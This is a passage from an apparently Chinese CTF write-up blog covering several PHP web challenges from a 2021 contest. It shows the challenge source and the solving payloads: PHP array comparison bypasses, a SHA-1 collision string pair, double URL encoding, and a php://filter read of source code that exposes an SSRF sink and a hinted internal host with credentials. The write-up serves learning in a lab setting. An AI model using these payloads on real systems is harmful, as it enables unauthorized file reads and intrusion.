</span></span><span class="line"><span class="ln">10</span><span class="cl">      <span class="k">die</span><span class="p">(</span><span class="s1">&#39;G1ve u the flag&#39;</span><span class="o">.</span><span class="nv">$flag</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="k">echo</span> <span class="s1">&#39;not right&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">echo</span> <span class="s1">&#39;Just g1ve it a try.&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>直接数组绕过就好了</p>
<p>payload：<code>?user[]=a&amp;pass[]=b</code></p>
<p>获得的flagbaby_revenge.php，进入第三层去掉flag访问baby_revenge.php</p>
<p>第三层</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nx">Just</span> <span class="nx">G1ve</span> <span class="nx">it</span> <span class="nx">a</span> <span class="k">try</span><span class="o">.</span> <span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nv">$flag</span><span class="o">=</span><span class="nx">getenv</span><span class="p">(</span><span class="s1">&#39;fllag&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="k">and</span> <span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">]))</span> 
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">echo</span> <span class="s1">&#39;no no no no way for you to do so.&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nx">is_array</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">||</span> <span class="nx">is_array</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">die</span><span class="p">(</span><span class="s1">&#39;There is no way you can sneak me, young man!&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">sha1</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">===</span> <span class="nx">sha1</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">])){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">      <span class="k">echo</span> <span class="s2">&#34;Hanzo:It is impossible only the tribe of Shimada can controle the dragon&lt;br/&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">      <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Genji:We will see again Hanzo&#39;</span><span class="o">.</span><span class="nv">$flag</span><span class="o">.</span><span class="s1">&#39;&lt;br/&gt;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">echo</span> <span class="s1">&#39;Wrong!&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span><span class="k">else</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">echo</span> <span class="s1">&#39;Just G1ve it a try.&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="err">//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里我直接用的sha1碰撞</p>
<p>payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">?user<span class="o">=</span>%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1<span class="p">&amp;</span><span class="nv">pass</span><span class="o">=</span>%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>我本地php测试发现他俩是不一样的，网上其他博主发的碰撞在我本地也显示也不一样，但是在这个靶机里这俩sha1一样，奇怪，根据提示访问here_s_the_flag.php进入第四层</p>
<p>第四层</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nv">$flag</span><span class="o">=</span><span class="nx">getenv</span><span class="p">(</span><span class="s1">&#39;flllllllllag&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">strstr</span><span class="p">(</span><span class="s2">&#34;Longlone&#34;</span><span class="p">,</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="k">echo</span><span class="p">(</span><span class="s2">&#34;no no no!&lt;br&gt;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="k">exit</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">urldecode</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span> <span class="o">===</span> <span class="s2">&#34;Longlone&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="k">echo</span> <span class="s2">&#34;flag: </span><span class="si">$flag</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这题刚开始也不会后来想起来在xctf做过一题，url二次编码，浏览器还是啥本身接收了一串url就会url解码一遍了，所以编码一次过不了第一个if，编码两次就可以了，后面会再解码一次的。</p>
<p>payload：<code>?id=%254c%256f%256e%2567%256c%256f%256e%2565</code></p>
<p>即得flag</p>
<h4 id="期末不挂科就算成功">期末不挂科就算成功<a class="anchor" href="#期末不挂科就算成功">#</a></h4>
<p>注释里发现debug.php，访问它<img
  src="/4fd634/2021_geek_challenge_web_guake_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1137" height="700"
/>
</p>
<p>发现url是传入文件，我们传入index.php，会直接显示渲染过的index.php页面，所以使用php伪协议用base64读取index.php源码</p>
<p>payload：<code>?file=php://filter/convert.base64-encode/resource=index.php</code></p>
<p>记住不要直接从F12里复制base，它会省略一部分base，导致解码后显示不全代码，完整解码后有以下php代码：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nv">$ch</span> <span class="o">=</span> <span class="nx">curl_init</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;url&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1">#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nx">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLOPT_HEADER</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1">#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nx">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nx">curl_close</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的！！！
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
